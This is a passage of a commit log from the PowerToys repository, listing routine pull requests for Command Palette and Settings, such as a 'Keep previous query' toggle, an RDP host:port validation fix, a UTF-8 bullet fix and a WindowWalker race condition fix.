- Removed Core projects.
- Core.Common => Microsoft.CmdPal.Common
- Core.ViewModels => Microsoft.CmdPal.UI.ViewModels

---------

Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-02-23 06:05:09 -06:00
Michael Jolley
196b9305c3 CmdPal: Add 'Keep previous query' setting to Command Palette (#45742)
## Summary

Closes #39929

Adds a new "Keep previous query" toggle to Command Palette settings that
preserves the last search text when the palette is reopened after
running a command.

## Changes

- **`SettingsModel.cs`** — Added `KeepPreviousQuery` bool property
(defaults to `false`)
- **`SettingsViewModel.cs`** — Added property with auto-save on change
- **`GeneralPage.xaml`** — Added toggle switch in the Activation
section, below "Highlight search on activate"
- **`Resources.resw`** — Added localized header ("Keep previous query")
and description ("Preserves the last search text when Command Palette is
reopened")
- **`SearchBar.xaml.cs`** — `Receive(GoHomeMessage)` now checks the
setting and skips `ClearSearch()` when enabled

## Behavior

- **Off (default):** No change from current behavior — search text is
cleared on dismiss.
- **On:** When a command is run and the palette dismisses, the search
text is preserved. On reopen, the previous query is still in the search
box. Combined with the existing "Highlight search on activate" setting,
the text will be pre-selected so the user can immediately retype or
press Enter to re-run.

## Validation

- Setting off: search clears on dismiss (existing behavior unchanged)
- Setting on: search text persists across dismiss/reopen
- Setting serializes/deserializes correctly via existing JSON settings
infrastructure
- No impact on page navigation, escape key behavior, or auto-go-home
timer

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-02-22 21:31:50 -06:00
Michael Jolley
009ee75de0 CmdPal: Fix RDP extension rejecting host:port connections (#45740)
## Summary

Fixes #45100

Uri.CheckHostName does not accept host:port strings (e.g.
localhost:3389), returning UriHostNameType.Unknown. This causes the RDP
extension to show an invalid hostname error when connecting to a local
forwarded port.

## Changes

- OpenRemoteDesktopCommand.cs - Strip port suffix before
Uri.CheckHostName validation. The full host:port is still passed to
mstsc /v:.
- FallbackRemoteDesktopItem.cs - Same port-aware validation so the
fallback correctly recognizes host:port queries and displays them in the
title.
- FallbackRemoteDesktopItemTests.cs - Added tests for localhost:3389 and
192.168.1.100:3390 inputs.

## Validation

Port detection uses LastIndexOf(':') + ushort.TryParse to safely
identify a trailing port number without affecting IPv6 addresses or
plain hostnames.

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-02-22 21:14:19 -06:00
Jiří Polášek
368490ef79 CmdPal: Include Microsoft.CmdPal.Ext.PerformanceMonitor in SLNF (#45738)
## Summary of the Pull Request

This PR updates Command Palette's solution filter to include recently
added Microsoft.CmdPal.Ext.PerformanceMonitor project.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-22 19:13:20 -06:00
Michael Jolley
fafb582ae2 Fix CmdPal apps extension ignoring the fallback results limit setting (#45716)
## Summary

MainListPage hardcoded _appResultLimit = 10 instead of reading from
AllAppsCommandProvider.TopLevelResultLimit, which correctly parses the
user's SearchResultLimit setting. This meant changing the results limit
in settings had no effect on the apps extension fallback results.

##  Changes

- `MainListPage.cs` — Replaced the hardcoded _appResultLimit = 10 field
with a computed property AppResultLimit that delegates to
AllAppsCommandProvider.TopLevelResultLimit.
- `MainListPageResultFactoryTests.cs` — Added three regression tests:
- `Merge_AppLimitOfOne_ReturnsOnlyTopApp` — verifies limit of 1 returns
only the top app
- `Merge_AppLimitOfZero_ReturnsNoApps` — verifies limit of 0 returns no
apps
- `Merge_AppLimitOfOne_WithOtherResults_AppsAreLimited` — verifies apps
are limited even when mixed with other result types

## Validation

- [X]  Existing tests pass
- [X] New regression tests cover edge cases for the appResultLimit
parameter

## Linked Issues

- Fixes #45654

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-02-21 20:47:27 -06:00
Copilot
ed76886d98 Settings: Fix SCOOBE showing unknown symbol instead of bullet (#45696)
The bullet separator between the release date and "View on GitHub" in
the SCOOBE release notes page was rendering as an unknown symbol (◆?)
instead of `•`. The character stored in the source file was `\x95`
(Windows-1252 bullet), which is invalid in UTF-8 and maps to U+0095 (a
control character).

## Changes

- `ScoobeReleaseNotesPage.xaml.cs`: Replace `\x95` (Windows-1252) with
`•` (U+2022, UTF-8: `\xE2\x80\xA2`)

```diff
- $"{release.PublishedDate.ToString(...)} \x95 [View on GitHub]({releaseUrl})"
+ $"{release.PublishedDate.ToString(...)} • [View on GitHub]({releaseUrl})"
```

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

Single-byte fix: the bullet character in
`ScoobeReleaseNotesPage.xaml.cs` was a Windows-1252 `\x95` byte embedded
in a UTF-8 source file. UTF-8 treats `0x95` as U+0095 (MESSAGE WAITING,
a C1 control), which has no glyph and renders as the replacement/unknown
symbol. Replaced with the correct Unicode bullet `•` (U+2022).

## Validation Steps Performed

- Confirmed `\x95` byte present in original file via hex inspection
- Verified replacement byte sequence is `\xE2\x80\xA2` (valid UTF-8 for
U+2022)
- No other occurrences of `\x95` in the file

<!-- START COPILOT ORIGINAL PROMPT -->



<details>

<summary>Original prompt</summary>

> 
> ----
> 
> *This section details on the original issue you should resolve*
> 
> <issue_title>Settings: SCOOBE shows an unknown symbol instead of a
bullet</issue_title>
> <issue_description>### Microsoft PowerToys version
> 
> main
> 
> ### Installation method
> 
> Dev build in Visual Studio
> 
> ### Area(s) with issue?
> 
> Settings
> 
> ### Steps to reproduce
> 
> Main (0.98):
> 
> <img width="513" height="299" alt="Image"
src="https://github.com/user-attachments/assets/fe8eeb94-82cf-40d5-933f-4556616692a3"
/>
> 
> 0.97:
> 
> <img width="231" height="100" alt="Image"
src="https://github.com/user-attachments/assets/96b29ea7-87d8-4044-81a5-19e500224098"
/>
> 
> ### ✔️ Expected Behavior
> 
> _No response_
> 
> ###  Actual Behavior
> 
> _No response_
> 
> ### Additional Information
> 
> _No response_
> 
> ### Other Software
> 
> _No response_</issue_description>
> 
> ## Comments on the Issue (you are @copilot in this section)
> 
> <comments>
> </comments>
> 


</details>



<!-- START COPILOT CODING AGENT SUFFIX -->

- Fixes microsoft/PowerToys#45695

<!-- START COPILOT CODING AGENT TIPS -->
---

 Let Copilot coding agent [set things up for
you](https://github.com/microsoft/PowerToys/issues/new?title=+Set+up+Copilot+instructions&body=Configure%20instructions%20for%20this%20repository%20as%20documented%20in%20%5BBest%20practices%20for%20Copilot%20coding%20agent%20in%20your%20repository%5D%28https://gh.io/copilot-coding-agent-tips%29%2E%0A%0A%3COnboard%20this%20repo%3E&assignees=copilot)
— coding agent works faster and does higher quality work when set up for
your repo.

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
2026-02-20 22:24:15 +00:00
Niels Laute
b64afea9f7 Fix for AP settings page crashing (#45699)
Don't put anything other than `SettingsCard` in a `SettingsExpander`..
because it will blow up
2026-02-20 17:53:49 +01:00
Dave Rayment
5e30caa674 [WindowWalker] Fix race condition in UWP app enumeration (#45601)
## Summary of the Pull Request
This fixes a race condition in the WindowWalker component in both
**Command Palette** and **Run**. The lack of a lock around a cache
update could potentially lead to inaccurate information about UWP
applications being returned.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45600
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
More details about the root cause can be found in the original issue:
#45600.

In summary, a `Task` is created and started as part of the
`CreateWindowProcessInstance()` code. The creation is inside a lock, but
there is no lock around access to the `_handlesToProcessCache` cache
within the Task itself, which will run on a different thread.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

- Ensured unit tests still pass (NB: I cannot currently run CmdPal UI
tests for some reason)
- Manually ran the applications, testing the Window Walker component in
both
2026-02-20 09:49:42 -06:00
Mike Griese
0f87b61dad CmdPal: Load pinned command items from anywhere (#45566)
This doesn't actually have a UX to expose this yet - we need to stack a
couple of PRs up to get to that.

But this adds plumbing such that we can now stash away a command ID, and
retrieve it later as a top-level command. Kinda like pinning for apps,
but for _anything_.

It works off of a new command provider interface `ICommandProvider4`,
which lets us look up Command**Item**s by ID. If we see a command ID
stored in that command provider's settings, we will try to look it up,
and then load it from the command provider.

e.g.

```json
    "com.microsoft.cmdpal.builtin.system": {
      "IsEnabled": true,
      "FallbackCommands": {
        "com.microsoft.cmdpal.builtin.system.fallback": {
          "IsEnabled": true,
          "IncludeInGlobalResults": true
        }
      },
      "PinnedCommandIds": [
        "com.microsoft.cmdpal.builtin.system.lock",
        "com.microsoft.cmdpal.builtin.system.restart_shell"
      ]
    },
```
will get us
<img width="840" height="197" alt="image"
src="https://github.com/user-attachments/assets/9ed19003-8361-4318-8dc9-055414456a51"
/>

Then it's just a matter of plumbing the command provider ID through the
layers, so that the command item knows who it is from. We'll need that
later for actually wiring this to the command's context menu.

related to #45191 
related to #45201
2026-02-19 16:20:05 -06:00